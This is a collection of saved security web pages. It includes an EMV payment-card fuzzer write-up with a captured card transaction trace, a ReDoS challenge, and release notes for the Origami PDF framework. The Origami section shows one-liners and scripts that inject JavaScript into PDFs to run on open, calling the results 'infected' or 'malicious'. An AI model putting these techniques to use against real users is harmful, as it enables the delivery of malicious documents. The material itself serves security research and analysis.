CSRF token has been sent to should be logged additionally to \(or instead of\)
the IP address using the token**.**

References:  
\[1\]: http://lwn.net/Articles/277146/  
\[2\]: http://cr**.** yp.to/syncookies.html Section "What are SYN cookies**?**
"  
\[3\]: http://cr.yp.to/syncookies.html Section "Blind connection forgery"  
\[4\]: http://www.thice**.** nl/creating-ack-get-packets-with-scapy/  
\[5\]:
http://wiki.networksecuritytoolkit.org/nstwiki/index.php/LAN\_Ethernet\_Maximum\_Rates,\_Generation,\_Capturing\_%26\_Monitoring\#pktgen:\_UDP\_60\_Byte\_Packets

****

# fucking imap

**Created:**| _8/2/2010 7:37:14 PM_  
---|---  
**Updated:**| _8/2/2010 7:37:25 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  
`## fucking imap fucking sucks. what the FUCK kind of committee of ## dunces
designed this shit. ## ## imap talks about 'unique ids' for messages, to be
used for ## cross-session identification. great---just what sup needs! except
## it turns out the uids can be invalidated every time the ## 'uidvalidity'
value changes on the server, and 'uidvalidity' can ## change without
restriction. it can change any time you log in. it ## can change EVERY time
you log in. of course the imap spec "strongly ## recommends" that it never
change, but there's nothing to stop ## people from just setting it to the
current timestamp, and in fact ## that's exactly what the one imap server i
have at my disposal ## does. thus the so-called uids are absolutely useless
and imap ## provides no cross-session way of uniquely identifying a ##
message. but thanks for the "strong recommendation", guys! ## ## so right now
i'm using the 'internal date' and the size of each ## message to uniquely
identify it, and i scan over the entire mailbox ## each time i open it to map
those things to message ids. that can be ## slow for large mailboxes, and
we'll just have to hope that there ## are no collisions. ho ho! a perfectly
reasonable solution! ## ## and here's another thing. check out RFC2060 2.2.2
paragraph 5: ## ## A client MUST be prepared to accept any server response at
all times. ## This includes server data that was not requested. ## ## yeah.
that totally makes a lot of sense. and once again, the idiocy ## of the spec
actually happens in practice. you'll request flags for ## one message, and get
it interspersed with a random bunch of flags ## for some other messages,
including a different set of flags for the ## same message! totally ok by the
imap spec. totally retarded by any ## other metric. ## ## fuck you, imap
committee. you managed to design something nearly as ## shitty as mbox but
goddamn THIRTY YEARS LATER.`

# Game Theory and Cyber Defense « Speaking of Security – The RSA Blog and
Podcast

**Created:**| _11/7/2012 6:18:37 PM_  
---|---  
**Updated:**| _11/7/2012 6:18:37 PM_  
**Author:**| __  
**Tags:**| __  
  

# Game Theory and Cyber Defense

Written on November 2, 2012 by Branden Williams

Comments

One of my colleagues is working with a bunch of crazy-smart people at RSA Labs
to explore how attacker-defender games can be used to help model behaviors and
outcomes in the cyber defense realm. Notice how I am not saying “Information
Security.” I know a lot of you hate the term “cyber,” but in this case it is a
more accurate usage of what these games really teach us about.

<img src='img/Temp2_3419.jpg' width='240' height='160' />

The Art of War, by kainet

Check out this latest blog by Bob Griffin . In it, he discusses how game
theory is making its way into the information security mainstream starting
with several presentations at RSA Europe 2012 \(and next week at GameSec in
Budapest\). The FlipIt  game that these guys created is quite ground breaking,
and we are learning quite a bit through mathematical proofs on what good
strategies for defense can be. I will be referring to this paper briefly
tomorrow at BSidesDFW, and hope to discuss it in more detail with one of my
sessions at RSA US 2013 \(pending selection of course\).

While the paper tests strategies as it relates to password rotation \(one of
any number of levers that policy makers can pull\), the concept is widely
applicable to a number of information security constructs. The gist of most of
what you can read there \(although you really should go read the paper\) is
that defenders can get ahead by making the game too difficult to play for a
given payoff to an attacker. Thus, the attacker moves somewhere else. It’s
much more than avoiding being the last guy out of the campground when bears
attack, so don’t fall into the trap of equating the two. It’s more about being
the must unpredictable vacator of the campground.

If you are in Europe, go catch Bob’s session at GameSec next week. If not,
stay tuned to the conference circuit for a live version soon\!

# EMV Protocol Fuzzer - mwrlabs

**Created:**| _11/12/2015 12:48:01 PM_  
---|---  
**Updated:**| _11/12/2015 12:48:01 PM_  
**Author:**| __  
**Tags:**| __  
  

# EMV Protocol Fuzzer

The world-wide introduction of the Europay, MasterCard and Visa standard
\(EMV\), to facilitate communication between smartcards and EMV-enabled
devices, such as point-of-sale \(POS\) terminals and automatic teller machines
\(ATMs\), has altered the security landscape of the daily markets.

Surprisingly limited public research exists addressing security aspects of
hardware and software specific implementations. This is something we wanted to
put right and therefore started a new research programme to specifically look
at this area.

Previous research has already uncovered security issues in this technology,
asking serious questions of the processes used to develop and test modern EMV-
enabled devices. Based on discussions with those involved in these areas MWR
identified a need to further develop structured and formal security evaluation
approaches in order to provide the highest levels of assurance to all
interested parties.

As a result of this research we are pleased to present an EMV protocol fuzzer
that can be used as a tool to evaluate the security integrity of a device
under test \(DUT\). This solution includes a Python interface to facilitate
control of the EMV fuzzer, in effect allowing on-the-fly monitoring and
emulation of an EMV stream with the DUT. Various predefined security tests
were also developed to formalise the security evaluation procedure. Our design
is ready to be interfaced with a fuzzing algorithm and thus presents the first
step towards a fully automated EMV fuzzing solution.

In order to test our solution, the proof of concept implementation of our EMV
fuzzer was used against some real-world POS devices. This resulted in the
identification of security issues and was part of the validation of our
approach to the initial problem we were looking to solve. The security issues
identified are currently being addressed by those affected and more details
will be provided when it is appropriate to do so.

We are now providing details of our approach, information about our proof of
concept implementation and limited technical details of our findings.

## Introduction

The EMV standard, also known as Chip and PIN, is used primarily by banks
across the globe as the industry de-facto standard for authenticating
smartcard transactions. The most widely used chip card implementations of the
EMV standard are Visa, MasterCard, American Express, JCB and Discover/Diners
Club International \[1\], \[2\]. Since EMV is based on the ISO 7816 standard,
which secures inter-operation between smartcards and associated terminals,
this research also applies to other implementations where smartcards are
present such as in subscriber identity modules \(SIMs\) and DTV decoders.

Although the standard defining EMV is in principal secure, vulnerabilities can
easily be introduced into the terminal-smartcard authentication procedure by
the hardware and software specific implementation of the actual EMV-enabled
device. Recent work by \[3\] indicated the ease, at that time, with which
vulnerabilities could be found in existing POS devices by using a programmable
smartcard, without the need for sophisticated card-emulating or man-in-the-
middle attack hardware. In the aforementioned case a vulnerability was
discovered, by modifying the smartcard response data, before the PIN
verification stage, until an error exception occurred in the POS device. The
fact that an error could be introduced after only a few attempts, by hand,
illustrated a potential gap in the assurance processes that were in use at the
time. As a result it was easy to theorise that additional vulnerabilities
might exist in current POS devices used world-wide. Exploitation of the
security issue found in \[3\], which leads to system level execution of
malicious code, was completed to highlight the impact and implications of the
issue. Full details of this have never been released, except to those
responsible for resolving the issues.

In order to ensure the security integrity of an EMV-enabled terminal, it is
necessary to test it against a multitude of response vectors, which have
potentially not been accounted for in the design stages. This case lends
itself particularly well to an automated electronic solution, such as an EMV
fuzzing device, which would be able to test a target terminal for potential
vulnerabilities in a fast, controlled and reproducible manner. Furthermore,
interest has been expressed in the recent peer-reviewed literature \[4\] to
automate the process of fuzzing POS devices in real time. This is an
attractive solution to the security testing of such devices before they are
deployed in-field.

In this work an automatic EMV Fuzzing device is presented. It is based on the
research presented in \[1\], whereby a USB interface with a PC allows the
communication between the smartcard and POS terminal to be monitored and
modified in real-time. The EMV fuzzer is controlled by means of Python scripts
allowing the simple automation of various pre-defined security tests, in
effect formalising the security evaluation procedure. The proposed design
automates insertion and retraction of the emulated smart card by means of a
linear actuator and is ready to be interfaced with an automated fuzzing
algorithm. This work presents the first step towards a fully automated EMV
fuzzing solution.

## Implementation

The functional block diagram of the proposed design is shown below.

<img src='img/Temp2_2526.png' alt='EMV fuzzer functional diagram' />

Functional unit one \(FU1\) represents the EMV fuzzing hardware and firmware.
FU1 is comprised of a central microcontroller \(FU1.1\), a USB control
interface \(FU1.2\) that communicates with the controlling python scripts
\(FU2\), the ICC interface \(FU1.3\) that connects to a smartcard, an emulated
ICC interface \(FU1.4\) that is connected to the DUT as well as a robotic arm
\(FU1.5\) that automates the insertion and retraction of FU1.4 from the DUT.
FU1.5 also includes a DUT reset switch in the form of a relay which can be
used to reset the DUT during the fuzzing operation. The complete design with
the various functional units indicated above is shown later.

The interfacing python scripts are controlled by FU3. FU3.1 implements
predefined functions that are useful in the security evaluation of devices
using an EMV protocol interface. FU3.2 illustrates how a fuzzing algorithm can
interface with the system described above, using both the interfacing python
functions as well as the developed security tests.

### Hardware design

The hardware portion of the design is concerned with FU1. First FU1.1 – FU1.3
is implemented in soft-substrate on a PCB as shown below. Next the design of
FU1.4 is implemented in PCB form. Finally FU1.5 is realised on a separate PCB
which interfaces with FU1.1 – FU1.3.

<img src='img/Temp2_2527.png' alt='EMV fuzzer front view' />

<img src='img/Temp2_2524.png' alt='EMV fuzzer back view' />

The aforementioned sub-systems are interconnected to form FU1 as shown next.

<img src='img/Temp2_2525.png' alt='EMV fuzzer complete' />

### Software design

The software implementation can be subdivided into the firmware written for
FU1.1 and the Python software written for FU2. The firmware for FU1.1 is based
on \[1\] with the source code available at \[5\]. Various modifications and
additions have been made to the existing firmware – with some details
contained in the appended technical report.

Notably, real-time modification of the EMV stream is supported, as required
for the seamless interface with the automatic fuzzing algorithm. A method of
abstracting the interfacing Python functions away from low-level timing
management is devised. This allows the user to focus on the data stream
exchange, rather than being constantly forced to debug timing issues.
Furthermore, a new method of fostering the control bytes is implemented
allowing the user more control over the EMV communication flow, which is
otherwise almost entirely dependent on the DUT. Details are available in the
appended report.

## Preliminary results

As mentioned earlier, only some results will be presented here. After the
correct vulnerability disclosure procedure has been followed with affected
parties, the remaining results will be published.

The communication stream between a Point-of-sale \(POS\) terminal and a VISA
smart card \(ICC\) is captured. Data sent from the POS device is introduced by
the symbol `(-->)` whereas data sent from the smart card is preceded by the
symbol `(:)`. A command header is shown using the notation: `[CLA INS P1 P2
P3]`.

[code]

    --> [CLA INS P1 P2 P3] = **[00 a4 04 00 0e]** _(Select 1PAY.SYS.DDF01)_
    --> POS DATA: 31 50 41 59 2e 53 59 53 2e 44 44 46 30 31
    : 61 2f
    --> [CLA INS P1 P2 P3] = **[00 c0 00 00 2f]** _(Request data)_
    : 6f 2d 84 0e 31 50 41 59 2e 53 59 53 2e 44 44 46 30 31 a5 1b 88 01 01 5f 2d 02
    65 6e 9f 11 01 01 bf 0c 0c c5 0a ff ff 3f 00 00 00 03 ff ff 03
    
    --> [CLA INS P1 P2 P3] = **[00 b2 01 0c 00]** _(Read record)_
    : 6c 35
    --> [CLA INS P1 P2 P3] = **[00 b2 01 0c 35]**
    : 70 33 61 31 4f 07 a0 00 00 00 03 10 10 50 10 56 69 73 61 20 43 61 72 64 20 20
    20 20 20 20 20 9f 12 10 56 69 73 61 20 43 61 72 64 20 20 20 20 20 20 20 87 01 01
    
    --> [CLA INS P1 P2 P3] = **[00 b2 02 0c 00]** _(Read record)_
    : 6c 1b
    --> [CLA INS P1 P2 P3] = **[00 b2 02 0c 1b]**
    : 70 19 61 17 4f 07 a0 00 00 00 03 80 02 50 09 56 49 53 41 20 41 75 74 68 87 01
    0f
    
    --> [CLA INS P1 P2 P3] = **[00 b2 03 0c 00]** _(Read record)_
    : 6a 83
    
    --> [CLA INS P1 P2 P3] = **[00 a4 04 00 07]** _(Select VISA Debit/Credit (Classic))_
    --> POS DATA: a0 00 00 00 03 10 10
    : 61 87
    --> [CLA INS P1 P2 P3] = **[00 c0 00 00 87]** _(Request data)_
    : 6f 81 84 84 07 a0 00 00 00 03 10 10 a5 79 50 10 56 69 73 61 20 43 61 72 64 20
    20 20 20 20 20 20 87 01 01 9f 38 03 9f 1a 02 5f 2d 02 65 6e 9f 11 01 01 9f 12 10
    56 69 73 61 20 43 61 72 64 20 20 20 20 20 20 20 bf 0c 3f 5f 54 08 46 49 52 4e 5a
    41 4a 4a 42 03 49 01 36 5f 55 02 5a 41 5f 56 03 5a 41 46 5f 50 15 68 74 74 70 3a
    2f 2f 77 77 77 2e 66 6e 62 2e 63 6f 2e 7a 61 2f c5 0a 01 01 7f 51 47 00 02 0f ff
    02
    
    --> [CLA INS P1 P2 P3] = **[80 a8 00 00 04]** _(GET PROCESSING OPTIONS)_
    --> POS DATA: 83 02 07 10
    : 61 0c
    --> [CLA INS P1 P2 P3] = **[00 c0 00 00 0c]** _(Request data - AIP/AFL)_
    : 80 0a 5c 00 18 01 04 01 08 01 01 00
    --> [CLA INS P1 P2 P3] = **[00 b2 01 1c 00]** _(Read record)_
    : 6c 50
    --> [CLA INS P1 P2 P3] = **[00 b2 01 1c 50]**
    : 70 4e 5f 25 03 14 01 08 5f 24 03 16 01 31 5a 08 ** ** ** ** ** ** ** ** 5f 34
    01 00 9f 07 02 ff 00 8e 10 00 00 00 00 00 00 00 00 41 03 02 03 1e 03 1f 00 9f 0d
    05 f0 68 3c 88 00 9f 0e 05 00 10 c0 00 00 9f 0f 05 f0 68 3c 98 00 5f 28 02 07 10
    
    --> [CLA INS P1 P2 P3] = **[00 b2 02 1c 00]** _(Read record)_
    : 6c f4
    --> [CLA INS P1 P2 P3] = **[00 b2 02 1c f4]** _(Read record - SDA/DDA)_
    : 70 81 f1 8c 15 9f 02 06 9f 03 06 9f 1a 02 95 05 5f 2a 02 9a 03 9c 01 9f 37 04
    8d 17 8a 02 9f 02 06 9f 03 06 9f 1a 02 95 05 5f 2a 02 9a 03 9c 01 9f 37 04 9f 08
    02 00 8c 5f 20 1a 4e 45 54 53 48 49 2f 4c 2e 4d 52 20 20 20 20 20 20 20 20 20 20
    20 20 20 20 20 5f 30 02 02 01 93 81 90 57 91 b1 aa c1 60 65 45 10 80 34 80 28 ba
    1d 9b 8d 9c 5a 26 67 51 03 6e 78 73 c3 7d d5 3c 49 4d f9 eb 37 7a d9 2b 78 9c 89
    99 c3 1c d5 cd 37 e6 67 d8 26 c9 11 ac fd fc de 9e c6 7b 14 56 f3 50 37 1f af 48
    77 87 83 46 fa 7e ce c4 f0 55 fc 4d 45 05 fc 80 a5 86 33 6a 66 5a c8 be 8c 7b f3
    aa f4 d5 54 b2 5b 11 7b 3a 1f bd 11 e3 0c 14 a6 76 86 df 94 4a d0 a9 9e 76 83 8c
    34 ea 10 fd d9 dc d1 27 7c bd 96 fe af 99 33 8a 50 3b 47 57 cc e7 9f 4a 01 82 8f
    01 95
    
    --> [CLA INS P1 P2 P3] = **[00 b2 03 1c 00]** _(Read record)_
    : 6c 96
    --> [CLA INS P1 P2 P3] = **[00 b2 03 1c 96]** _(Read record)_
    : 70 81 93 90 81 90 5e 93 bd 2e d9 af 2f 65 cc 71 85 34 4b 00 4f 2c a9 9e 31 e1
    af 43 65 d3 62 69 57 04 45 c3 c8 b0 b8 2f 99 93 61 3e ff 83 eb 3b 62 67 4f 54 dd
    ea dd c1 d4 82 2c 72 60 33 ff dd 11 3d e3 56 eb 47 0e 5a 34 75 02 72 a1 18 82 65
    56 30 97 50 ce 85 21 48 7d 75 d8 c2 c9 f6 f8 03 bb b0 03 a5 e5 ea b6 4a b3 0c 2d
    e5 69 bd fd 37 f7 24 1a 03 6a 01 96 38 f5 fa 1d ce df af d3 83 62 d2 44 aa 44 44
    2a 1b eb b3 80 60 21 1d 23 a3 36 b1 73 09 e3 5d
    
    --> [CLA INS P1 P2 P3] = **[00 b2 04 1c 00]** _(Read record)_
    : 6c 30
    --> [CLA INS P1 P2 P3] = **[00 b2 04 1c 30]** _(Read record)_
    : 70 2e 9f 32 01 03 92 24 ba 97 8a 34 75 dd 97 ce 7d 7b d3 1b 15 eb ed 23 e6 1b
    1f eb b7 61 89 98 be 98 5e e4 d1 e1 33 d6 c9 11 00 db 9f 44 01 02
    
    --> [CLA INS P1 P2 P3] = **[00 b2 01 0c 00]** _(Read record)_
    : 6c 32
    --> [CLA INS P1 P2 P3] = **[00 b2 01 0c 32]** _(Read record)_
    : 70 30 57 13 49 01 36 82 02 22 60 67 d1 60 12 01 00 00 00 02 60 00 0f 9f 1f 18
    30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 36 30 30 30 30 30 30 30
    
    --> [CLA INS P1 P2 P3] = **[80 ae 80 00 1d]** _(Generate AC)_
    --> POS DATA: 00 00 00 00 00 39 00 00 00 00 00 00 07 10 40 80 04 80 00 07 10 15
    01 07 00 07 3e 27 20
    : 61 14
    --> [CLA INS P1 P2 P3] = **[00 c0 00 00 14]** _(Request data)_
    : 80 12 80 00 40 e9 16 66 e6 20 e5 d9 cb 06 01 0a 03 a0 a8 00
    
    --> [CLA INS P1 P2 P3] = **[00 82 00 00 10]** _(External authenticate)_
    --> POS DATA: cc 69 18 5e 4b c7 b0 dd 30 30 00 00 00 00 00 00
    : 67 00
    
    --> [CLA INS P1 P2 P3] = **[80 ae 40 00 1f]** _(Generate AC)_
    --> POS DATA: 30 30 00 00 00 00 00 39 00 00 00 00 00 00 07 10 40 80 04 80 40 07
    10 15 01 07 00 07 3e 27 20
    : 61 14
    --> [CLA INS P1 P2 P3] = **[00 c0 00 00 14]** _(Request data)_
    : 80 12 40 00 40 d7 a5 50 61 a9 fb 17 95 06 01 0a 03 60 ac 00
    
[/code]

### YouTube demonstrations

Two video demonstrations are provided here.

The first demo presents sniffing EMV communications between a POS terminal and
VISA ICC.

The second demo shows how the data captured in the previous video can be
replayed to the POS terminal.

This data can now be modified to test the DUT for various vulnerabilities.
Additional videos will be added at a later stage illustrating this
possibility.

## Conclusion

An EMV protocol fuzzer to test the security integrity of EMV-enabled devices
is presented. The EMV communication stream between the DUT and smart-card can
be monitored and modified in real-time. Interfacing high-level Python
functions have been developed, compatible with a high-level fuzzing algorithm.
Furthermore, robotic automation has been included to automatically insert and
retract the emulated ICC into/from the DUT – a feature necessary for automatic
fuzzing. Future work should focus on developing an EMV fuzzing algorithm as
well as developing new methods of reading data from the DUT in order to obtain
more information about an induced system crash.

### Link to the technical paper

Here is the link to the technical paper for more details.

EMV Fuzzer Summary Paper

## References

\[1\] O. Choudary, “The Smart Card Detective: a hand-held EMV interceptor,”
University of Cambridge, Cambridge, England, 2010.

\[2\] J. P. Degabriele, A. Lehmann, K. G. Paterson, N. P. Smart and M.
Strefler, “On the Joint Security of Encryption and Signature in EMV,” Springer
Topics in Cryptology, pp. 116-135, 2012.

\[3\] MWR InfoSecurity, “PINPADPWN,” in Blackhat, City of Las Vegas, USA,
2012.

\[4\] G. de Koning Gans and J. de Ruiter, “The smartlogic tool: Analysing and
testing smart card protocols,” in IEEE Fifth International Conference on
Software Testing, Verification and Validation, Montréal, Canada, 2012.

\[5\] O. Choudary, “Google code: smartcarddetective,” University of
California, Berkeley, 2 May 2011. \[Online\]. Available:
https://code.google.com/p/smartcarddetective/. \[Accessed 1 September 2014\].

\[6\] EMVCo, “EMV Integrated Circuit Card Specifications for Payment Systems –
Book 1,” EMVCo, LLC, 2008.

\[7\] EMVCo, “EMV Integrated Circuit Card Specifications for Payment Systems –
Book 3,” EMVCo, LLC, 2008.

# Vuln Hunt: Find the Security Vulnerability Challenge \#2 | Cyber Trust Blog
**Created:**| _10/10/2014 11:44:59 AM_  
---|---  
**Updated:**| _10/10/2014 11:44:59 AM_  
**Author:**| __  
**Tags:**| __  
  

# Vuln Hunt: Find the Security Vulnerability Challenge \#2

Ex-Netscape engineer Jamie Zawinski has a great quote about regular
expressions. He said: “Some people, when confronted with a problem, think ‘I
know, I’ll use regular expressions.’ Now they have two problems.” That’s
certainly true for this week’s Security Vuln Hunt. Two points are possible,
plus an extra bonus point. The question:

<img src='img/Temp2_9016.jpg' alt='vulnhunt#2' />

The programmer here has written an input validation regex to test whether a
given string matches the format of a URL, and while we should give him credit
for designing his application to validate input, the particular regex pattern
that he’s using is vulnerable to a denial of service attack.

The subexpression \(\\.\[a-zA-Z0-9\\-\\.\_\]+\)\{2,\} in the pattern contains
a grouping expression with repetition \(\\.\[a-zA-Z0-9\\-\\.\_\]+\) that is
itself repeated via the expression The worst-case operation time for such a
regex construction is exponential time O\(2n\), and this could allow an
attacker to craft a relatively short input value that would hang the
application in an exponential processing loop.

Give yourself a point if you found the regular expression denial-of-service
\(ReDoS\) vulnerability in the code.

Give yourself a point if you used the SDL Regex Fuzzer
\(http://www.microsoft.com/en-us/download/details.aspx?id=20095\) to find the
vulnerability. These types of vulnerabilities are extremely difficult to find
through manual code inspection, so why not take advantage of free tools that
are available to help you?

Finally, give yourself a bonus point if you realized that in .NET 4.5, you can
limit the amount of time that Regex spends trying to find matches by setting a
matchTimeout value in the Regex constructor. This is an excellent defense-in-
depth measure against ReDoS attacks.

Next week, we’ll look a sneaky SQL Injection vulnerability.

###### About the Author

<img src='img/Temp2_9015.jpg' width='128' height='128' alt='Bryan Sullivan' />

#### Bryan Sullivan

##### Principal Security Program Manager, Trustworthy Computing

Bryan Sullivan is a Principal Security Program Manager in the Microsoft Secure
Development team, where he focuses on cryptography and cloud security. Bryan
has spoken at security industry conferences such as RSA Conference, Black Hat,
BlueHat, OWASP AppSec and TechEd Read more »

Back  
to top

# Origami 1.0 released\! - Sogeti ESEC Lab

**Created:**| _5/27/2011 11:45:24 AM_  
---|---  
**Updated:**| _5/27/2011 11:45:24 AM_  
**Author:**| __  
**Tags:**| _ruby Fuzzer pdf_  
  

## Origami 1.0 released\!

By guillaume » Tuesday 24 May 2011, 11:43 - Tools

I am pleased to announce the first stable release of Origami, the PDF
manipulation framework\! A lot of new cool features has been added since the
last beta and I consider the framework has become stable enough now.  
  
This release introduces the support for AES256 encryption/decryption, partial
support for CCITTFax streams and TIFF predictors. Origami now also comes with
a Ruby shell for inline usage and a set of command-line tools for PDF
documents analysis.

## What is Origami?

Origami is a framework for PDF documents manipulation written in pure Ruby. It
can be used to analyze or create malicious PDF documents. Being written in
Ruby, the core engine of Origami is totally scriptable and can be used for
automated tasks on large sets of documents. A GTK graphical interface is also
available for manually browsing through the inner objects of a PDF document.  
  
The philosophy behind Origami is the following:

  * Support for both reading and writing to PDF documents. Origami is able to create documents from scratch, read existing documents and modify them. Each new feature added must be compatible with reading and writing.
  * Handling a large subset of the PDF specification. Origami focuses on features from the PDF specification which can be used to obfuscate documents or provide offensive capabilities.
  * Being flexible and extensible. Origami can be used in many ways, even if you are new to the Ruby language.

Origami supports many advanced features of the PDF specification, such as:

  * Compression filters and predictor functions
  * Encryption
  * Digital signatures
  * Object streams
  * File attachments
  * AcroForms and XFA forms
  * PDF actions and annotations \(including Flash\)

Origami is open-source and distributed under the LGPL license.

## New features

Here is the list of new features added in this version:

  * Support for AES256 encryption/decryption of documents.
  * Support for G3 unidimensional encoding/decoding of CCITTFax streams.
  * Support for TIFF predictor functions.
  * Enhanced support for Ruby 1.9.
  * Can now be installed as a gem.
  * Added methods for browsing pages and name trees.
  * Added a Ruby shell for quick document analysis.
  * Added a set of useful tools built upon Origami \(pdfdecrypt, pdfencrypt, pdfdecompress, pdfextract, pdfmetadata, pdfcocoon, pdfcop, pdf2graph, pdf2ruby...\)
  * Lots of bug fixes.

## Installation

Origami can now be installed as a Ruby gem. If you have Rubygems installed,
just run:

`gem install origami`

You can also directly fetch the latest development version using the Mercurial
repository at GoogleCode:

`hg clone https://origami-pdf.googlecode.com/hg/ origami`

## Usage

There are several ways to use Origami, depending on what you intend to do. If
you are a novice about the PDF file format or Ruby, you can rely on the ready-
to-run scripts or the GTK interface to discover PDF file structures. Advanced
tasks can also be performed from the Origami shell or by writing custom
Origami scripts.

### Tools

The directory **bin/** contains a set of useful Origami scripts which can
instantly be used over PDF documents.

#### Document analysis

  * pdfdecompress: Strips out all compression filters from a document.
  * pdfdecrypt: Allows you to decrypt an existing document.
  * pdfcop: Automated engine for malicious documents analysis.
  * pdfmetadata: Extracts the metadata from a document.
  * pdfextract: Extracts scripts, fonts, streams, attached files from a document.

#### Document shielding

  * pdfencrypt: Allows you to encrypt an existing document.
  * pdfcocoon: Embeds a document into another one and makes it run when the top-level PDF is open.

#### Misc

  * pdf2graph: Generates a graph \(DOT or GraphML\) out of PDF objects.
  * pdf2ruby: Generates a Ruby script from a document, that Origami can recompile into the same original document.

#### Examples

Decrypting and decompressing an empty password encrypted document:

`$ pdfdecrypt encrypted.pdf | pdfdecompress > plain.pdf`
Encrypting a document with AES256 and embedding it into a sane document:

`$ pdfencrypt -c aes -s 256 document.pdf | pdfcocoon > cocooned.pdf`
Running an automated analysis on a suspicious document:

`$ pdfcop malicious.pdf  
PDFcop is running on target `malicious.pdf', policy = `standard'  
File size: 142237 bytes  
MD5: bd936ee3ba0b6dd467a2620f0d8275c7  
> Inspecting document structure...  
. Encryption = YES  
> Inspecting document catalog...  
. OpenAction entry = YES  
>> Inspecting action...  
> Inspecting JavaScript names directory...  
> Inspecting attachment names directory...  
> Inspecting document pages...  
>> Inspecting page...  
>> Inspecting page...  
>> Inspecting page...  
.. Page has an action dictionary.  
>>> Inspecting action...  
... Found /JavaScript action.  
Document rejected by policy `standard', caused by [:allowJSAtOpening].`

Quickly extracting metadata:

`$ pdfmetadata rapportousacalipari.pdf  
[*] Document information dictionary:  
Producer : Acrobat Distiller 6.0 (Windows)  
_AuthorEmail : robert.potter@iraq.centcom.mil  
CreationDate : D:20050430124604+04'00'  
Creator : Acrobat PDFMaker 6.0 for Word  
Title : TABLE OF CONTENTS  
Author : richard.thelin  
ModDate : D:20050430233208+02'00'  
_AdHocReviewCycleID : -553148013  
_EmailSubject : Another Redact Job For You  
SourceModified : D:20050430084305  
Company : USCENTCOM  
_AuthorEmailDisplayName: Potter Robert A COL MNFI STRATCOM  
  
[*] Metadata stream:  
MetadataDate : 2005-04-30T23:32:08+02:00  
Producer : Acrobat Distiller 6.0 (Windows)  
ModifyDate : 2005-04-30T23:32:08+02:00  
CreateDate : 2005-04-30T12:46:04+04:00  
title : TABLE OF CONTENTS  
creator : richard.thelin  
CreatorTool : Acrobat PDFMaker 6.0 for Word`

### Graphical interface

You can quickly browse PDF objects using the GTK interface. For this you will
need the **gtk2** gem installed:

`gem install gtk2`

Then you just run:

`pdfwalker`

<img src='img/pdfwalker.png' alt='PDF Walker' />

Just a hint for quick browsing: double-clicking on an object reference makes
you go forward to the desired object. Use ESC to go back to your previous
location.

### Shell

The shell offers a classic Ruby shell with Origami namespace being
automatically included. With some knowledge about the Origami API, it is
possible to perform quick tasks on a PDF document. The following session
uncovers the presence of a document nested into another.

`$ pdfsh  
# Welcome to the PDF shell (Origami release 1.0.2)  
  
>>> pdf = PDF.read('malicious.pdf')  
  
>>> pdf.ls_names(Names::Root::EMBEDDEDFILES)  
{(metadata.pdf)=>48 0 R}  
  
>>> pdf[48]  
48 0 obj  
<<  
/EF <<  
/F 49 0 R  
>>  
/F (metadata.pdf)  
/Type /Filespec  
>>  
endobj  
  
>>> pdf[49].class  
Origami::Stream  
  
>>> pdf[49]  
0000000000 25 50 44 46 2D 31 2E 35 0A 25 D4 C0 BC 8F 0A 31 %PDF-1.5.%.....1  
0000000010 20 30 20 6F 62 6A 20 0A 3C 3C 0A 2F 50 61 67 65 0 obj .<<./Page  
0000000020 73 20 32 20 30 20 52 0A 2F 54 79 70 65 20 2F 43 s 2 0 R./Type /C  
0000000030 61 74 61 6C 6F 67 0A 2F 4F 70 65 6E 41 63 74 69 atalog./OpenActi  
0000000040 6F 6E 20 31 31 20 30 20 52 0A 2F 41 63 72 6F 46 on 11 0 R./AcroF  
  
>>> File.open('nested.pdf','w') {|f| f.write pdf[49].data }`

Infecting a document in one-line:

`>>>
PDF.read('sane.pdf').onDocumentOpen(Action::JavaScript.new(gets)).save('infected.pdf')`

### Scripting

The full potential of the Origami framework can be exploited using custom Ruby
scripts. Origami scripts can be used to generate exploits, automate complex
tasks over a set of documents, etc. Details about the Origami API can be found
in the RDoc documentation, the Origami cheatsheet or by looking at the sample
scripts located in the **samples/** directory.  
  
The following little script simply adds an action to each page of a given
document. Each time a page is opened, the PDF reader is instructed to jump to
the next page, thus making the document endlessly scrolling.

`#!/usr/bin/env ruby  
  
require 'origami'  
include Origami  
  
pdf = PDF.read(ARGV[0], :verbosity => Parser::VERBOSE_QUIET )  
  
pages = pdf.pages  
  
pages.each do |page|  
page.onOpen(Action::Named.new(Action::Named::NEXTPAGE)) unless page ==
pages.last  
end  
pages.last.onOpen(Action::Named.new(Action::Named::FIRSTPAGE))  
  
pdf.save("looping.pdf")`

This other example will read a given document, add a JavaScript to execute at
run-time and will save it as encrypted \(with an empty password\).

`#!/usr/bin/env ruby  
  
require 'origami'  
include Origami  
  
EXPLOIT = <<JS  
app.alert("Your malicious exploit here")  
JS  
  
pdf = PDF.read(ARGV[0])  
  
stream = Stream.new(EXPLOIT, :Filter => :FlateDecode)  
pdf.pages.first.onOpen Action::JavaScript.new(stream)  
  
pdf.encrypt.save('malicious.pdf')`

## Suggestions / bug reports

You can contact me at **origami\(at\)security-labs.org** for any questions or
remarks.  
Please report issues on the GoogleCode project page.

# fireeye/rvmi

**Created:**| _9/4/2017 9:49:54 AM_  
---|---  
**Updated:**| _9/4/2017 9:49:54 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

<img src='img/rvmi.png' width='888' height='500' alt='rVMI Logo' />

# rVMI

rVMI is a debugger on steroids. It leverages Virtual Machine Introspection
\(VMI\) and memory forensics to provide full system analysis. This means that
an analyst can inspect userspace processes, kernel drivers, and preboot
environments in a single tool.

It was specifially designed for interactive dynamic malware analysis. rVMI
isolates itself from the malware by placing its interactive debugging
environment out of the virtual machine \(VM\) onto the hypervisor-level.
Through the use of VMI the analyst still has full control of the VM, which
allows her to pause the VM at any point in time and to use typical debugging
features such as breakpoints and watchpoints. In addtion, rVMI provides access
to the entire Rekall feature set, which enables an analyst to inspect the
kernel and its data structures with ease.

NOTE: rVMI will only run on Intel CPUs with virtualization extentions.
Additionally, do not try to run rVMI within a virtualized environment. As rVMI
depends on hardware virtualization, it will not run in an already virtualized
environment.

## Installation

rVMI consists of three components, KVM kernel modules, QEMU, and Rekall. This
repository will pull in all required components and install them with one
simple install script.

For those that are interested, the repositories for these components can be
found here:  
https://github.com/fireeye/rvmi-kvm  
https://github.com/fireeye/rvmi-qemu  
https://github.com/fireeye/rvmi-rekall

### Getting Started

Begin by cloning the rVMI repository:

[code]

    $ git clone --recursive https://github.com/fireeye/rvmi.git
    $ cd rvmi
    
[/code]

